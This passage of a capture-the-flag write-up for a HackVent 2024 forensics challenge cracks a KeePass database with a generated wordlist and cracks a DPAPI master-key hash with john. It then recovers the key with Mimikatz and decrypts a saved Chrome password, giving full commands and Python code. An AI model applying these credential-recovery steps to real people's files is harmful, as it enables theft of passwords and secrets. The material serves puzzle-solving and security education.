HV24{#tUOHtiw#?#?#?#}HV24{lYRicS+master+CrACk}HV24{#?#?#pr4nc3r#?#}HV24{#?#santa#?#?#}HV24{brut3f0rc3_p4rty_w1th0ut_d4nc3r_qr}HV24{#?#?#keepass#?#}HV24{#?#?#d4nc3#?#}HV24{BrUtEFOrce#pRancER}HV24{236834636b233f233f233f23}HV24{#fun#?#?#?#}HV24{#?#?#?#SYmPhonY#}HV24{dAnCeR}HV24{cnVkb2xwaF9seXJpY3M=}HV24{SecrEt+pLAnniNg}HV24{DANcE_cracK_cOMEt_DaTABasE_PLaNnIng}HV24{Hack_dANcE_bLITZEn}HV24{233f234d4173744572233f233f23}HV24{#?#?#yn0hpmy5#?#}HV24{#?#?#teMoc#?#}HV24{506552666f524d2353694e4723734f4e47}HV24{53cr3t#pr4nc3r}HV24{password+party+song+prancer+maybe}HV24{#h4ck#?#?#?#}HV24{#?#?#?#gaLf#}HV24{#?#?#c0nc3rt#?#}HV24{#neddiH#?#?#?#}HV24{#?#?#?#54nt4#}HV24{#?#?#?#SHOwing#}HV24{Iz8jPyM/I3NlY3JldCM=}HV24{c15um}HV24{symphony+music}HV24{#50und#?#?#?#}HV24{PRAncER_soNg_cOmeT_DAtAbAse}

There’s 57 lines, each line having a bunch of junk flags joined by null bytes.

Generate Wordlist

I’ll write a Python script to make a wordlist with possible modifications of the password:

import re
import binascii
from base64 import b64decode


with open('Blitzen/flag.txt', 'r') as f:
    data = f.read()

candidates = set()
for blob in re.findall(r'HV24\{(.+?)\}', data):
    candidates.add(blob)
    candidates.add(f'HV24{{{blob}}}')
    candidates.add(blob[::-1])
    candidates.add(f'HV24{{{blob[::-1]}}}')
    try:
        candidate = b64decode(blob).decode()
        if candidate.isprintable():
            candidates.add(candidate)
            candidates.add(f'HV24{{{candidate}}}')
    except (binascii.Error, UnicodeDecodeError):
        pass
    try:
        candidate = bytes.fromhex(blob).decode()
        if candidate.isprintable():
            candidates.add(candidate)
            candidates.add(f'HV24{{{candidate}}}')
    except ValueError:
        pass

print('\n'.join(candidates))

It tries each flag text by itself, inside HV24{}, base64 decoded, hex decoded, and inverted.

oxdf@hacky$ python blitzen_passwords.py > blitzen_wordlist
oxdf@hacky$ wc -l blitzen_wordlist
7224 blitzen_wordlist

Crack Password

Unfortunately, this version of KeePass isn’t supported by keepass2john:

oxdf@hacky$ keepass2john Blitzen/blitzen-passwords.kdbx 
! Blitzen/blitzen-passwords.kdbx : File version '40000' is currently not supported!

keepass4brute is a shell script that attempts passwords via the keepassxc-cli client. I’ll install that (apt install keepassxc). And then run the script:

oxdf@hacky$ ./keepass4brute.sh Blitzen/blitzen-passwords.kdbx blitzen_wordlist 
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute

[+] Words tested: 4786/7224 - Attempts per minute: 1669 - Estimated time remaining: 1 minutes, 27 seconds
[+] Current attempt: HV24{#?#?#?#ToG3th3r#}

[*] Password found: HV24{#?#?#?#ToG3th3r#}

On my system, it tries about 1700 attempts per minute, and finds it after a few minutes. This is the third of four segments of the flag.

Alternative Get Password

While looking for hidden flags, I noted that the flags and nulls in the flag.txt file seemed almost random, and decided to look at the pattern.

I’ll play a bit with the file in the Python REPL:

>>> import re
>>> with open('Blitzen/flag.txt', 'r') as f:
...     data = f.read()
... 
>>> data2 =re.sub(r'HV24{.+?}', '1', data)
>>> data3 = data2.replace('\x00', '0')
>>> print(data3)
111111100010011010010101010111101001100000101011001111111
100000100100011101100100001101000111010100000101001000001
101110101111111100111001000111100010000100101011001011101
101110101010100001101101010101011111100010110001001011101
101110101011010111001001101111101010110111101101001011101
100000101010111010010010001000111100101010010110001000001
111111101010101010101010101010101010101010101010101111111
000000001011001001011110101000110100001010110101000000000
101111100100101001000011001111100001101001100111101111100
001010010110011111011101111101110100010110110000100000101
111010100001110011111100101000000001011101100111110100110
111000010100100111110000111101101000100111000000111111100
110000100001100111010101100011110001011000011010001000100
100001000110010100011000100111101000010101001001111110101
011110111000110011001001110010000011011100111010000011110
111101000111010011110100100001001101100111101110101010110
000010111000110011011100110100010110110100000010001101101
101010011010011010110101000001010001100001111001110101010
011110111010010110010110000100100110110100010110001100000
011001011000111001011001010110101100011100111011100011010
010011101011111100100101111101110110101010110111010000100
010011011100101111111100101000101000111111110011100101100
111000100100011010110111110001100111000010000101011101011
100101001100011010101100110010010101011001101101111001101
010001101010001100001001011000100001100101010001100101011
101110010110001010111111111001110100110001101100110001101
011111111110010110101000011111100000101101011001111111000
110010001000011011010111101000100010010111000000100011110
111010101010110010010100011010111111101000011000101011000
110010001001101101101110111000101010110101001100100011001
011011111100101110011101101111111100101100111110111110000
111010011011101011111101100001011101100110110000001101101
111011110000000001000000100011110110111101100001111101010
100010010111111000000111001000000101100010110101001011011
010111100110000010101010000000100110101001100111011110010
110011010110000111001101011100001100111010001101000011000
100011101000011111010101111001110001001000010010100110100
001010000101101100001100110101101000011001100000110000100
001001100101001000101011101001100111000000000010000111111
011011000000011000110100100100001100000001001101110110101
101101110110101010001100110100110001110101010000011111111
010100011100111111111011001011110001000001101101101101110
111110100110101010010110011110101011010100000000110111100
001101011001011110011101000011100010000101101011001101110
100000111110001011101010010111011110101011110110100111000
000100010101100011010001100000001011110111111011011101101
101001100110110011101001111111011101101011000100100111100
111110000111101010011011100100110100010110110100011101110
000000100010110110111010001111100000111101100101111111000
000000001101011001110111101000110100110110110000100010001
111111100010011011111000011010100000011101100111101011110
100000101011000010111000101000101100111111000101100011101
101110101110101100111011101111100101010000011101111110010
101110101100011000101100110111101000010101001001110100100
101110101001110001010101111000000011001110111110101011100
100000100110111111110110101101111001100110111101100110100
11111110111111100111111011100010010110000010110101011110

I’ll notice that the newlines actually line this thing up as a square! And on closer inspection, it’s a QRcode.

I’ll replace the 0s and 1s with blocks on spaces:

>>> data4 = data3.replace("0", "").replace("1", " ")

And print it:

image-20241216174520042

On saving that to a file, it’s got text:

oxdf@hacky$ zbarimg blitzen_qr.png 
QR-Code:gur znfgre cnffjbeq lbh ner ybbxvat sbe vf gur 1336gu bar ohg jvgu pbagragf erirefrq! Nyjnlf rkcrpg gur bss-ol-bar reebe!
scanned 1 barcode symbols from 1 images in 0.01 seconds

That rot13 decodes to:

oxdf@hacky$ zbarimg blitzen_qr.png 2>/dev/null | cut -d: -f2 | tr 'n-za-mN-Z-A-N' 'a-zA-Z'
the master password you are looking for is the 1336th one but with contents reversed! Zlways expect the offNbyNone error!

I’ll use Bash commands to get the flag:

oxdf@hacky$ cat Blitzen/flag.txt | grep -aoP 'HV24{.+?}' | head -1336 | tail -1 | cut -c6- | rev | cut -c2- | sed 's/\(.*\)/HV24{\1}/'
HV24{#?#?#?#ToG3th3r#}
  • grep -aoP 'HV24{.+?}' gets all the flags.
  • head -1336 gets the first 1336 lines.
  • tail -1 get the last remaining line.
  • cut -c6- gets from character six onwards (dropping HV24{).
  • rev reverses the string.
  • cut -c2- removes the } now at the front of the string.
  • sed 's/\(.*\)/HV24{\1}/' wraps the result back in the HV24{}.

Prancer

Keepass

I’ll open the database in keepassxc. There are five folders:

image-20241215171042077

There’s a troll, as well as the lyrics to Flying High and the password to this DB in General. eMail has one for santamail.christmas (but the site is not online):

image-20241215171226449

Windows has blitzen’s Windows 11 password:

image-20241215171304252

Recycle Bin has the one that matters:

image-20241215171359812

It’s easy to miss that there’s an attachment to this one. The main window doesn’t show anything too interesting:

image-20241215171426981

But on the “Advanced” view, there’s an attachment:

image-20241215171445143

Recover DPAPI Master Key

The files in the zip are the DPAPI keys for prancer:

oxdf@hacky$ unzip -l Prancers-keys.zip 
Archive:  Prancers-keys.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2024-12-12 13:33   C/
        0  2024-12-12 13:33   C/Users/
        0  2024-12-12 13:34   C/Users/prancer/
        0  2024-12-12 13:34   C/Users/prancer/AppData/
        0  2024-12-12 13:34   C/Users/prancer/AppData/Roaming/
        0  2024-12-12 13:34   C/Users/prancer/AppData/Roaming/Microsoft/
        0  2024-12-12 13:34   C/Users/prancer/AppData/Roaming/Microsoft/Protect/
        0  2024-12-12 13:30   C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-3152064623-1017805262-467371474-1001/
      468  2024-12-12 02:23   C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-3152064623-1017805262-467371474-1001/c790ec71-1c98-404a-9dab-4bfe8f6871a5
       24  2024-12-12 02:23   C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-3152064623-1017805262-467371474-1001/Preferred
---------                     -------
      492                     10 files

DPAPI is the Windows per-user encryption used to protect secrets and manage encrypted files. I’ll create a hash for the master key:

oxdf@hacky$ DPAPImk2john.py -S S-1-5-21-3152064623-1017805262-467371474-1001 -mk C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-3152064623-1017805262-467371474-1001/c790ec71-1c98-404a-9dab-4bfe8f6871a5 -c local | tee prancer_dpapi.hash 
$DPAPImk$2*1*S-1-5-21-3152064623-1017805262-467371474-1001*aes256*sha512*8000*dd9910a8f9dbed99caf0eb98527e4bff*288*024ed8b5eef41f45a96d52eaeb98c06e75054c5369076328ac49abbc5e956ce6a043adbdd63899646afc1c5820b3d2021d5230846f26250ea92ee8dc7a4691e6fbc6c5c3abae38c0a0b47ae10d146b5a20171cfdb4a8556edb53c4a4cdeeab33ada65f67c3f3131e5c4c057297487d60e85e2de5123daf63171c6a2f5aac00afbd19efa9ec9f3232ed307d7a66f3ed3e

And it cracks with john:

oxdf@hacky$ ./john ~/hackvent2024/day15/prancer_dpapi.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --format=DPAPImk
Warning: invalid UTF-8 seen reading /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (DPAPImk, DPAPI masterkey file v1 and v2 [SHA1/MD4 PBKDF2-(SHA1/SHA512)-DPAPI-variant 3DES/AES256 256/256 AVX2 8x])
Cost 1 (iteration count) is 8000 for all loaded hashes
Will run 12 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst
Enabling duplicate candidate password suppressor
prancer2         (?)     
1g 0:00:01:19 DONE 2/3 (2024-12-15 18:14) 0.01264g/s 6587p/s 6587c/s 6587C/s jkj123..stansted
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

I’ll get the master key from that with Mimikatz on a Windows VM:

PS Z:\hackvent2024\day15\C\Users\prancer\AppData\Roaming\Microsoft\Protect\S-1-5-21-3152064623-1017805262-467371474-1001 > C:\Tools\Mimikatz\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # dpapi::masterkey /in:c790ec71-1c98-404a-9dab-4bfe8f6871a5 /sid:S-1-5-21-3152064623-1017805262-467371474-1001 /password:prancer2 /protected
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {c790ec71-1c98-404a-9dab-4bfe8f6871a5}
  dwFlags            : 00000005 - 5
  dwMasterKeyLen     : 000000b0 - 176
  dwBackupKeyLen     : 00000090 - 144
  dwCredHistLen      : 00000014 - 20
  dwDomainKeyLen     : 00000000 - 0
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : dd9910a8f9dbed99caf0eb98527e4bff
    rounds           : 00001f40 - 8000
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : 024ed8b5eef41f45a96d52eaeb98c06e75054c5369076328ac49abbc5e956ce6a043adbdd63899646afc1c5820b3d2021d5230846f26250ea92ee8dc7a4691e6fbc6c5c3abae38c0a0b47ae10d146b5a20171cfdb4a8556edb53c4a4cdeeab33ada65f67c3f3131e5c4c057297487d60e85e2de5123daf63171c6a2f5aac00afbd19efa9ec9f3232ed307d7a66f3ed3e

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 29f8e374eedee9b6f5d2a7ae8c0b77bc
    rounds           : 00001f40 - 8000
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : f0aa63b9dc61a1da66de3137d9830bd1996a0bfa9942deb3f16d66d07949cd6070dfdebe3aa7a3e08393e2ec438f28fce6e28380f7f37b656ba5fcd174215bb2ee07850b263b520a0f15637b0fe1ce2863068a68236030ae1d98c0793ade307aa20d136429e48ee0b1bded7fb26bb545

[credhist]
  **CREDHIST INFO**
    dwVersion        : 00000003 - 3
    guid             : {a163913c-885c-42aa-b243-4581bc47fd80}



[masterkey] with password: prancer2 (protected user)
  key : a0b912995883940fac279a75f575c3ead6b037de200e99b52ae2749218568c80a54c602d52a65a991ca93ee830f3d2856c27c7c18ee9f12c657f3e94b6755afd
  sha1: 0b1601b9711202469e94a2188eb40005d26849db

Chrome Passwords

Prancer’s directory has a markdown file and a Chrome.zip archive:

## Prancer's Update

YO YO RUDOLPH!

How's that famous red nose! Still shining bright I hope!

For my performance, in your honour, I am going to rap this masterpiece:
https://www.youtube.com/watch?v=B4W_XYI4AN0

All my practice was going well! Until I went to visit the vet because when I came back my web browser was broken!@#$
My browser preferences were completely gone! Luckily, I found the browser related files they tried to delete in my recycle bin and I restored everything. Everything seems to work again now expect my saved passwords...I can't seem to figure out why. I checked the security tapes and it showed Blitzen leaving the scene of the crime! Trying to interfere with my practice so they can outshine me haha.

Oh and one more thing, I found out that one of the other Reindeer had a suspicious file on their computer. After Santa told us about that nasty Ransomware that infected his computer, I am taking no chances. I scanned the file for viruses but all of the anti-virus softwares think it is clean. But you should never risk things like this so I deleted the file permanently to keep everyone safe. :)

Anyway, this will be the best event ever thanks to you!
YOU'LL GO DOOOOWN IN HISTA, YOU'LL GO DOOOOWN IN HISTA, YOU'LL GO DOOOOWN IN HISTOOORY!

Rock on,
Prancer

The Chrome.zip file has a Chrome profile directory. To look at the saved passwords (as mentioned in the markdown file), I’ll find the SQLite database Login Data:

oxdf@hacky$ sqlite3 Prancer/Chrome/Default/Login\ Data
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .headers on
sqlite> .tables
insecure_credentials    password_notes          sync_model_metadata   
logins                  stats                 
meta                    sync_entities_metadata

The logins table has one saved password:

sqlite> select origin_url, username_value, hex(password_value) from logins;
origin_url|username_value|hex(password_value)
https://accounts.santamail.christmas/|prancer@santamail.christmas|7631308EFC250CFA2E807CE6D1C1091331847E7EC7EE57B4A510F7F9021DCEB9A79CB494A903461C5749B7084785686D75

It’s a binary blob because it’s encrypted. To decrypt it, I’ll need to get the master key from the Chrome profile, which is encrypted with DPAPI. It is stored in JSON format in the Local State file under os_crypt / encrypted_key:

oxdf@hacky$ cat Prancer/Chrome/Local\ State | jq '.os_crypt.encrypted_key'
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABx7JDHmBxKQJ2rS/6PaHGlEAAAABwAAABHAG8AbwBnAGwAZQAgAEMAaAByAG8AbQBlAAAAEGYAAAABAAAgAAAA83EeusVzPjsnBVv3kOCD/WKv+vPupZfVCEgS3AnHVV4AAAAADoAAAAACAAAgAAAAcOiLSJLvHXKfCWrte7WoT1LDS6MibMnPMJphcKpyKIcwAAAAXDXiwe0JEFrieifkUUh/6KGGvIJjel63WP6cE4S34UZvJ2O3ddz1dkrmXi6s88ntQAAAACdkCr/EYzTDN+gooyH/0LhTdOIbmFN+YzIozk+MAc6NvlansMQvrfygFCrRuellkLGskRmnT7qAOAmnb2k9iCE="

I’m saving that value to a file, but I need to remove the first five characters:

oxdf@hacky$ cat Prancer/Chrome/Local\ State | jq -r '.os_crypt.encrypted_key' | base64 -d | cut -c5- > encrypted_key 

Now that can go back to Mimikatz with the DPAPI key from above:

PS Z:\hackvent2024\day15\C\Users\prancer\AppData\Roaming\Microsoft\Protect\S-1-5-21-3152064623-1017805262-467371474-1001 > C:\Tools\Mimikatz\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # dpapi::blob /masterkey:a0b912995883940fac279a75f575c3ead6b037de200e99b52ae2749218568c80a54c602d52a65a991ca93ee830f3d2856c27c7c18ee9f12c657f3e94b6755afd /in:Z:\hackvent2024\day15\encrypted_key /out:Z:\hackvent2024\day15\aes.dec
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {c790ec71-1c98-404a-9dab-4bfe8f6871a5}
  dwFlags            : 00000010 - 16 (audit ; )
  dwDescriptionLen   : 0000001c - 28
  szDescription      : Google Chrome
  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : f3711ebac5733e3b27055bf790e083fd62affaf3eea597d5084812dc09c7555e
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : 70e88b4892ef1d729f096aed7bb5a84f52c34ba3226cc9cf309a6170aa722887
  dwDataLen          : 00000030 - 48
  pbData             : 5c35e2c1ed09105ae27a27e451487fe8a186bc82637a5eb758fe9c1384b7e1466f2763b775dcf5764ae65e2eacf3c9ed
  dwSignLen          : 00000040 - 64
  pbSign             : 27640abfc46334c337e828a321ffd0b85374e21b98537e633228ce4f8c01ce8dbe56a7b0c42fadfca0142ad1b9e96590b1ac9119a74fba803809a76f693d8821

 * masterkey     : a0b912995883940fac279a75f575c3ead6b037de200e99b52ae2749218568c80a54c602d52a65a991ca93ee830f3d2856c27c7c18ee9f12c657f3e94b6755afd
description : Google Chrome
Write to file 'Z:\hackvent2024\day15\aes.dec' is OK

The resulting key is written to aes.dec. I’ll use the Python terminal to decrypt the value from the SQLite DB:

>>> from Cryptodome.Cipher import AES
>>> ct = bytes.fromhex('7631308EFC250CFA2E807CE6D1C1091331847E7EC7EE57B4A510F7F9021DCEB9A79CB494A903461C5749B7084785686D75')
>>> iv = ct[3:15]
>>> enc_pass = ct[15:-16]
>>> with open('aes.dec', 'rb') as f:
...     key = f.read()
... 
>>> len(key)
32
>>> cipher = AES.new(key, AES.MODE_GCM, iv)
>>> cipher.decrypt(enc_pass)
b'HV24{#?#?#BEST#?#}'

HV24{#?#?#BEST#?#}.

Comet

Image

Comet left update.jpg:

They are missing their recording!

Chrome History

There’s another database in the Chrome profile, History, that has information worth checking out:

oxdf@hacky$ sqlite3 Prancer/Chrome/Default/History
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
cluster_keywords          downloads                 segment_usage           
cluster_visit_duplicates  downloads_slices          segments                
clusters                  downloads_url_chains      urls                    
clusters_and_visits       history_sync_metadata     visit_source            
content_annotations       keyword_search_terms      visited_links           
context_annotations       meta                      visits   

The downloads table has one row, but the URL doesn’t exist:

sqlite> select * from downloads;
1|86cfbb2e-357b-4146-9995-9b1498064e8b|C:\Users\prancer\Downloads\Silent_Night_by_Comet.mid|C:\Users\prancer\Downloads\Silent_Night_by_Comet.mid|13378485422414494|4122|4122|1|0|0||13378485423611066|0|0|0|https://drive.google.com/||

|https://drive.usercontent.google.com/download?id=1CEohyNqduw9hA4P0OUmGxo1Zd6uvmptg&export=download|||||||Thu, 12 Dec 2024 03:54:23 GMT|audio/mid|application/octet-stream

The urls table has the fuller history:

sqlite> select * from urls;
1|https://www.google.com/search?q=christmas+wikipedia&oq=Christmas+wikipedia&gs_lcrp=EgZjaHJvbWUqBwgAEAAYgAQyBwgAEAAYgAQyBwgBEAAYgAQyBwgCEAAYgAQyBwgDEAAYgAQyBwgEEAAYgAQyBwgFEAAYgAQyCAgGEAAYFhgeMggIBxAAGBYYHjIICAgQABgWGB4yCAgJEAAYFhge0gEIMzQ3OWowajeoAgewAgE&sourceid=chrome&ie=UTF-8|christmas wikipedia - Google Search|2|0|13378484490010198|0
2|https://en.wikipedia.org/wiki/Christmas|Christmas - Wikipedia|1|0|13378484491426611|0
3|https://en.wikipedia.org/wiki/Rudolph_the_Red-Nosed_Reindeer_(TV_special)|Rudolph the Red-Nosed Reindeer (TV special) - Wikipedia|1|0|13378484502582937|0
4|https://en.wikipedia.org/wiki/Rudolph_the_Red-Nosed_Reindeer_(song)|Rudolph, the Red-Nosed Reindeer (song) - Wikipedia|1|0|13378484508703561|0
5|https://en.wikipedia.org/wiki/Rudolph,_the_Red-Nosed_Reindeer_(song)|Rudolph, the Red-Nosed Reindeer (song) - Wikipedia|1|0|13378484508989179|0
6|https://www.google.com/search?q=when+is+christmas&sca_esv=e095c950f9c2c4db&ei=CehaZ-yTF-iMnesPuYj4gAk&oq=when+is+chris&gs_lp=Egxnd3Mtd2l6LXNlcnAiDXdoZW4gaXMgY2hyaXMqAggAMhEQABiABBiRAhixAxiDARiKBTILEAAYgAQYkQIYigUyCxAAGIAEGJECGIoFMhEQABiABBiRAhixAxiDARiKBTILEAAYgAQYkQIYigUyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABEjcF1CvA1iID3ABeAGQAQKYAYsCoAH9E6oBBjAuMTIuM7gBA8gBAPgBAZgCDqAC7xDCAgoQABiwAxjWBBhHwgINEAAYgAQYsAMYQxiKBcICChAAGIAEGEMYigXCAhAQABiABBixAxhDGIMBGIoFwgINEAAYgAQYsQMYQxiKBcICDhAuGIAEGLEDGNEDGMcBwgIREC4YgAQYsQMY0QMYgwEYxwHCAg0QLhiABBhDGNQCGIoFwgIKEC4YgAQYQxiKBcICCBAAGIAEGLEDwgIHEAAYgAQYCpgDAIgGAZAGCpIHBjEuMTEuMqAH1ng&sclient=gws-wiz-serp|when is christmas - Google Search|2|0|13378484517579733|0
7|https://www.google.com/search?q=who+is+the+best+reindeer&sca_esv=e095c950f9c2c4db&ei=JOhaZ8jxKsHhseMPnOexCA&ved=0ahUKEwjIk-iFrqKKAxXBcGwGHZxzDAEQ4dUDCBA&uact=5&oq=who+is+the+best+reindeer&gs_lp=Egxnd3Mtd2l6LXNlcnAiGHdobyBpcyB0aGUgYmVzdCByZWluZGVlcjIFEAAYgAQyBhAAGBYYHjIIEAAYFhgKGB4yCBAAGKIEGIkFMggQABiABBiiBDIIEAAYgAQYogQyCBAAGIAEGKIESMElUMIMWLUgcAF4AZABAJgBnQKgAd4fqgEGMC4yMS4zuAEDyAEA-AEBmAIZoAKFIMICChAAGLADGNYEGEfCAg0QABiABBiwAxhDGIoFwgIKEAAYgAQYQxiKBcICCxAAGIAEGJECGIoFwgIIEAAYgAQYsQPCAgsQABiABBixAxiDAcICDhAAGIAEGLEDGIMBGIoFwgIOEC4YgAQYsQMY0QMYxwHCAgQQABgDwgILEC4YgAQYkQIYigXCAgsQABiABBiGAxiKBZgDAIgGAZAGCpIHBjEuMjEuM6AH_58B&sclient=gws-wiz-serp|who is the best reindeer - Google Search|2|0|13378484524237765|0
8|https://www.google.com/search?q=why+is+rudolph%27s+nose+red&sca_esv=e095c950f9c2c4db&ei=K-haZ6n5KPvvseMPgZXk8Qo&oq=why+is+rud&gs_lp=Egxnd3Mtd2l6LXNlcnAaAhgCIgp3aHkgaXMgcnVkKgIIADILEAAYgAQYkQIYigUyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgsQABiABBiRAhiKBTILEAAYgAQYkQIYigVIvERQixpYmDhwAngBkAEAmAHjAaABtROqAQYwLjEyLjK4AQPIAQD4AQGYAhCgAtITwgIKEAAYsAMY1gQYR8ICDRAuGIAEGEMY1AIYigXCAgoQLhiABBhDGIoFwgIKEAAYgAQYQxiKBcICExAuGIAEGLEDGEMYgwEY1AIYigXCAhAQLhiABBhDGMcBGIoFGK8BwgILEC4YgAQYsQMYgwHCAhAQABiABBixAxhDGIMBGIoFwgIQEC4YgAQYsQMYQxiDARiKBcICCBAuGIAEGLEDwgIOEAAYgAQYsQMYgwEYigXCAg0QLhiABBixAxhDGIoFwgINEAAYgAQYsQMYQxiKBcICCBAAGIAEGLEDwgIFEC4YgATCAhAQLhiABBjRAxhDGMcBGIoFwgIOEC4YgAQYsQMY0QMYxwHCAhEQLhiABBixAxjRAxiDARjHAcICFBAAGIAEGLEDGIMBGIoFGIsDGIwGwgIOEC4YgAQYsQMYgwEY1ALCAg4QLhiABBjHARiOBRivAZgDAIgGAZAGCJIHBjIuMTIuMqAH9rsB&sclient=gws-wiz-serp|why is rudolph's nose red - Google Search|2|0|13378484534604284|0
9|https://www.google.com/search?q=hackvent+2024&sca_esv=e095c950f9c2c4db&ei=NuhaZ8iVBvqWnesP6pG3-AU&ved=0ahUKEwjIiI6OrqKKAxV6S2cHHerIDV8Q4dUDCBA&uact=5&oq=hackvent+2024&gs_lp=Egxnd3Mtd2l6LXNlcnAiDWhhY2t2ZW50IDIwMjQyBRAAGIAEMggQABiABBiiBDIIEAAYogQYiQUyCBAAGKIEGIkFSM46UJoDWPE4cAF4AZABAZgBgwKgAfASqgEGMC4xMC4zuAEDyAEA-AEBmAIMoALiD8ICChAAGLADGNYEGEfCAg0QLhiABBiwAxhDGIoFwgINEAAYgAQYsAMYQxiKBcICCxAAGIAEGJECGIoFwgILEAAYgAQYsQMYgwHCAgUQLhiABMICDhAuGIAEGLEDGNEDGMcBwgIQEAAYgAQYkQIYigUYRhj5AcICChAuGIAEGEMYigXCAggQLhiABBixA8ICCBAAGIAEGLEDwgIOEAAYgAQYsQMYgwEYigXCAg0QABiABBixAxhDGIoFwgINEC4YgAQYsQMYQxiKBcICCxAuGIAEGMcBGK8BwgIHEAAYgAQYCsICDRAuGIAEGNEDGMcBGArCAgQQABgewgIGEAAYChgewgIGEAAYFhgemAMAiAYBkAYKkgcFMS45LjKgB7Fr&sclient=gws-wiz-serp|hackvent 2024 - Google Search|2|0|13378484547912874|0
10|https://hv24.idocker.hacking-lab.com/|HV24 – HackVent Cyber Puzzles|1|0|13378484550572168|0
11|https://www.google.com/search?q=who+hacked+santa&oq=who+hacked+santa&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIICAEQABgWGB4yDQgCEAAYhgMYgAQYigUyDQgDEAAYhgMYgAQYigUyDQgEEAAYhgMYgAQYigUyCggFEAAYgAQYogQyCggGEAAYogQYiQXSAQgxMTU2ajBqNKgCALACAQ&sourceid=chrome&ie=UTF-8|who hacked santa - Google Search|2|0|13378484558541941|0
12|https://www.google.com/search?q=santa+ransomware+attack+hackernews&oq=santa+ransomware+attack+hackernews&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIHCAEQIRigATIHCAIQIRigATIGCAMQIRgV0gEIMzk0NGowajmoAgCwAgE&sourceid=chrome&ie=UTF-8|santa ransomware attack hackernews - Google Search|2|0|13378484566959230|0
13|https://www.google.com/search?q=how+to+rap&oq=how+to+rap&gs_lcrp=EgZjaHJvbWUyCQgAEEUYORiABDIHCAEQABiABDIHCAIQABiABDIHCAMQABiABDIHCAQQABiABDIHCAUQABiABDIHCAYQABiABDIHCAcQABiABDIJCAgQABgKGIAEMgcICRAAGIAE0gEHNDU4ajBqN6gCALACAA&sourceid=chrome&ie=UTF-8|how to rap - Google Search|1|0|13378484647548764|0
14|https://www.wikihow.com/Rap|How to Rap: 14 Steps (with Pictures) - wikiHow|1|0|13378484649662217|0
15|https://www.google.com/search?q=how+to+rap+(reindeer+edition)&oq=how+to+rap+(reindeer+edition)&gs_lcrp=EgZjaHJvbWUyBggAEEUYOdIBBzM2NWowajSoAgCwAgE&sourceid=chrome&ie=UTF-8|how to rap (reindeer edition) - Google Search|2|0|13378484659908821|0
16|https://www.google.com/search?q=DMX+rudolph+the+red+nose+reindeer&oq=DMX+rudolph+the+red+nose+reindeer&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIJCAEQLhgKGIAEMgkIAhAAGAoYgAQyCAgDEAAYFhgeMggIBBAAGBYYHjIKCAUQABgKGBYYHjINCAYQABiGAxiABBiKBTINCAcQABiGAxiABBiKBdIBBzMyMWowajmoAgCwAgE&sourceid=chrome&ie=UTF-8|DMX rudolph the red nose reindeer - Google Search|2|0|13378484666023026|0
17|https://www.youtube.com/watch?v=B4W_XYI4AN0|DMX - Rudolph The Red Nosed Reindeer (Audio) - YouTube|1|0|13378484669605878|0
